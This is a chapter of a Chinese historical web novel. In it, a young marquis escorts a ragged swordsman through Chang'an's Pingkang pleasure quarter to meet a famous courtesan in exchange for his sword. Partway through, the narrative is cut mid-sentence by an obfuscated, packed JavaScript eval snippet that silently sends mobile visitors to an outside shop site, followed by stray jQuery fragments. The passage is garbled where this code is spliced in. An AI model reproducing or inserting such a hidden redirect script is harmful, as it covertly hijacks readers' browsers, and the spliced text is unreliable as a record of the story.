金乌回落,霞光斜照。
良患一脚踏出孟府,西边耀眼的夕光斜洒在人脸上,照出一片暖意。
旁边紧跟着的阿蛮见状,赶紧走上前去,宽袖一展就要给良患遮阳。
只他胳膊仅抬了一半就被良患拂开了。
“这样好的夕阳,遮它做什么?”
良患直直看着西边,一点金光随风落进浑浊里,渐渐凝在他早已不清明的眼底。
“翁翁不是素来厌烦这照阳嘛。”阿蛮收起袖子,由自撇撇嘴小声嘟囔。
良患由人扶着坐到马车前,他似乎真的爱这夕阳,也不往车厢里去,反倒一揣袖子半倚在了车边上。
听不到良患搭话,阿蛮也不觉什么,抚了抚袖子坐到另一侧,抬手甩出一鞭。
马车缓缓向前,迎着夕阳去。
等驶出坊道,良患才含混地念叨了句“夕阳无限好,只是近黄昏啊。”
“啥昏?”阿蛮侧耳问。
“仔细驾你的车,”良患抬手拍在阿蛮脖颈上,又道“先不回宫,咱爷俩且得再去趟平康坊呢。”
平康坊乃是风流薮泽之地,他们两个每根的人跑哪儿去干什么,阿蛮想着,眼神不自觉瞥向旁边。
良患不用看也知道阿蛮在想什么,他闭上眼,有点不耐烦道“去找小侯爷。”
“哦,”阿蛮收回眼来。
不过只静了一瞬,甩下一鞭子后他又忍不住开口“阿姐不是在东市嘛,翁翁怎么不叫她把人带进宫来?”
良患一巴掌重重拍在阿蛮的内侍帽上,阿蛮嚎叫一声缩着脖子捂住头。
“你小子是个只长个子不长脑子的,”良患半睁开眼斜睨着他,幽幽道“你阿姐如今是给圣人办事的紫衣使,那就只能听圣人的,你我是什么东西,也差使得上她?”
阿蛮嘟囔“那还不是您给她求来的。”
“你说什么?”
“没.....没什么。”
“驾车赶快些,一会儿宫门要是落了钥,你看我扒不扒了你的皮。”
“知道了。”
*
其时,李兖一行人还真的正待在平康坊。
入平康坊北门向东有三条巷子,时人谓之三曲。
曲中坊楼林立,楼阁相接,红木连廊自半空穿街而过,绿绸红带相交缠绕,随风柔软飘动,似乎只待入夜便能化成勾人心魄的妖精。
三曲之中聚集了长安名伎、京都侠少,其中的伎者虽都属教坊籍可也分个三六九等。
南曲、中曲里住着的都是些早有声名的名伎,与其往来者也都是勋爵权贵之流。
北曲住着的伎人便差了许多,且除了伎人,北曲还住着些不大见光的外来游侠儿。
尚不到酉时,平康坊里还没多热闹,从北曲往南曲的廊道上,有两个人一前一后走过。
李兖摆弄端详着手里的赤金缠枝小刀,一会儿照着夕阳瞧瞧,一会儿低头展袖擦擦,喜欢的不得了。
因对这里轻车熟路,李兖不必看道,脚下一转就拐过了廊弯。
察觉到后边的人没跟上来,他把匕首往腰间一别,向后倒了几步,身子后仰,看那人在干什么。
他身后的男子一身褴褛几乎遮不住身体,好在外面披了条李兖临时找给他的破布,堪堪遮挡住隐私,不至于因为暴露而被坊中娘子赶出去。
他从没来过中曲南曲,看什么都是新鲜物,细小的眼缝一眯,眼珠滴溜溜四处乱转。
男子怀里还紧紧抱着一把足有巴掌那么宽的大刀,这会儿察觉到李兖的目光,他赶紧收回视线攥了攥手,把刀抱得更紧了。
李兖见状,唇角一勾嗤笑道“抱着吧,你配不上这把刀,也就抱这最后一会儿了,”
他说完转身继续往前,嘴上催促道“快点走,别磨磨叽叽的,再晚一会儿上了夜,你的朱绿娘子可就接客去了。”
“连你夜里也见不到她?”男子凑上前来。
“我闲的没事干,我夜里见她做什么?”李兖随便答了一句,又伸手摸出他新淘来的那把小刀。
李兖爱刀,已经爱到心无旁骛的地步了。
男子见他毫不在乎的模样,一下急起来“我不管,你要想买我的刀就必须带我见到她,不然你出多少银子我都不卖。”
“小爷这不是正带你去吗?”
李兖这会儿心情好,也不介意男子话说得不客气,反倒悠悠道“不过你今儿也是来得巧了,朱绿恰好就在南曲小阁里,不然你还真不一定见得到。”
平康坊李兖常来,不过他每次来都直奔北曲游侠儿聚集的地方。
这些游侠儿本在江湖上飘荡得好好的,却偏要挤破了脑袋来长安,但一腔武艺不能当饭吃,他们又因武艺高强大多自傲,一般不愿去朱门里做护卫。
没银子又贪恋长安的繁华不愿离开,那就只剩卖掉自己随身的武器机械度日了。
而他们的武器大多一脉相承,不是官家能造出来的,李兖最是喜欢这些东西,游侠儿想要银子,他想要绝世武器,正好一拍即合各取所需。
杨景荐几人是从不来北曲的,他们一般都待在南曲小阁,而今日萧峥点了朱绿。
穿过一段系满红绸的廊道,还不到阁门就听到里面传来阵阵娘子的娇媚笑音,伴着柔柔的暖香飘满整个小阁。
两人走过去,守在门口的侍卫自然认得李兖,只他上下扫了几眼那男子,朝李兖为难道“小侯爷,这.....这不好进去吧?”
李兖懒得跟他废话,扔下句“放他进外堂来。”就自顾自往阁里走进去。
男子抱着刀紧紧跟在李兖后面,前面少年高束的马尾轻晃,编发银饰清脆作响,穿过少年身侧,隔着纱帘,他隐隐窥见内堂里的笙歌曼舞、灯火辉煌。
李兖进去时,朱绿正倚在萧峥怀里给他喂酒。
朱绿年方十六,是平康坊三曲中最美最有才名的伎人,她与别的伎人不同,同样是依靠在男人怀中,可朱绿眉眼间却不显得谄媚,而是有一种纯净,叫人见之忘尘,叫男人忽略了她出身教坊。
女子娇艳,少年俊美,两人相依相偎间自成一幅美人图。
杨景荐几人也各自坐在自己的地席上,众人透过纱帘乍见堂外男子的装扮,一时只顾着打量他,都没说出话来。
还是窦方宝先开口道“这位郎君是.....?”
李兖随意摆摆手“不重要。”
杨景荐也随意打量着,见男子穿成这样,他瞬间皱起眉来,嫌弃地轻啧了声,垂眼默默端起桌上的酒盏,不想再看。
只是端酒的手举到一半就被旁边的李兖截胡了去。
然后他更默默地,仰头看着李兖喝完了他的那盏好酒。
平康坊最好的酒!
每日限量,仅此一壶。
李兖看不到杨景荐咬牙切齿的样子,他干脆利落地喝完了一整盏酒,并大发慈悲的把酒盏扔回给杨景荐。
杨景荐爱美爱洁,哪怕是最上等的凉玉盏,他也再不去碰一下,只别过头,眼不见为净。
李兖屈腿席地一坐,指了指男子,对萧峥道出来意。
萧峥闻言皱眉“你成心来恶心我。”
他不是怀疑,是肯定,李兖带这人来,就是为了恶心他。
李兖也不知道,怎么萧峥就总能那么把自己当回事呢,他道“见一面又不会少你块肉,再说了,又不是见你,有何不可?”
“我若不呢?”
其实要不要朱绿出去见人萧峥也不在乎,他就是要跟李兖作对罢了。
李兖不擅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14206212|150948||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
长跟人兜圈子,直接朝阁外喊“哥舒,进来把朱绿......”
“你敢!”萧峥摔了杯子。
“你看我敢不敢!”
“哎别动手别动手,”孟濯站起来,挥手往回赶哥舒“回去回去,他们俩闹着玩呢。”
哥舒看向李兖,李兖朝萧峥的方向抬了抬下巴“看他。”
杨景荐支着下巴,长叹出口气,随意道“这人已经在这儿了,一个游侠儿罢了,阿驷你直接杀了他把刀夺了不行吗?你俩何必如此僵持。”
这可真是个办法啊,李兖心下微动,却还是摇了摇头“不行,名刀都是认主的,我不能杀他。”
杨景荐被李兖的幼稚想法击败,他翻了个白眼,干脆摊手不再干涉。
平康坊是官家教坊,几人虽没有透露过身份,但朱绿不是没有猜到过一二,她左右看看,欠身笑道“公子若不介意,奴家想去见见那位郎君。”
这话算是台阶了,是她自己想去见的,并非受李兖所迫,萧峥也不必再针对李兖。
等朱绿退下去,孟濯开口问道“他为何非要见朱绿娘子?”
李兖皱眉,这他还真不知道,不过管他为什么呢,他又不在乎。
一片静默中,窦方宝举了举他胖胖的手“我好像知道一二......”
几人看过去,窦方宝回忆道“你们也知道,我没事爱去书肆逛逛,那日愿说好与孟五一起的,谁知道他却不去了......”
“说重点。”李兖不耐烦道。
“我在书肆撞到了万年县县丞家的两位娘子,听得几句闲话,说是她们大姐姐死活要嫁给一个来长安的游侠儿,县丞拗不过亲女只能答应,说临近快要成亲了才知那游侠儿来长安不为别的,只为着一睹天下名伎......”
江湖人做事往往随性,奔走千里只为一睹天下名伎这样的事,也不是做不出来的。
窦方宝讲到后面已经没几个人听了,游侠儿配小官家娘子的风月事在戏楼和话本子上看看便行了,长安这些见惯了繁华的贵公子们是不屑于去细听的。
只有李兖,听完后有些若有所思起来。
“这么说,那县丞家女儿还是要跟他成亲?”
窦方宝说完,李兖低声问了句。
“想来应是,这不就来卖刀攒银子,要好好跟县丞家女儿成亲过日子了嘛。”
“可.....”
那男子刚才说过的,只要让他见朱绿一面,他可以一枚铜钱都不要。
这是要好好过日子了?
李兖想了想还是没再问,刀到手便行了,其他的与他何干,无非是些风花雪月情情爱爱,左右也不会生出什么大事。
几人坐了会儿,朱绿就重新走进来。
萧峥盯着她瞧,朱绿娇羞一笑“没什么大事,只那郎君仰慕奴家琴技,特来拜会。”
“仰慕?你倒不羞。”杨景荐打趣道。
朱绿依旧面带娇笑,她说完又对李兖福了福身道“小侯爷,那郎君说他说话算话,刀给您外面那侍卫了。”
真不要银子了,就为见了一面朱绿?
事办完,李兖再无心多想,起身便走,踏出小阁时哥舒就等在一旁,李兖目光一转,果然见他手里提着游侠儿的那把刀。
日头渐晚,夕阳变得愈发浓重,红光普照长安,两人一前一后走在坊楼的旋梯上。
“算了,也挺不容易的,”走到旋梯中间时,李兖忽然停住。
他对身后的哥舒道“去把银子送到万年县县丞家。”
哥舒听命,刚要抬脚,就听李兖又道“记得要亲自交到县丞家大娘子手上,然后.....再多给十两,去吧。”
哥舒走后,李兖刚走出坊楼,迎面便在楼下看到了良患一行人。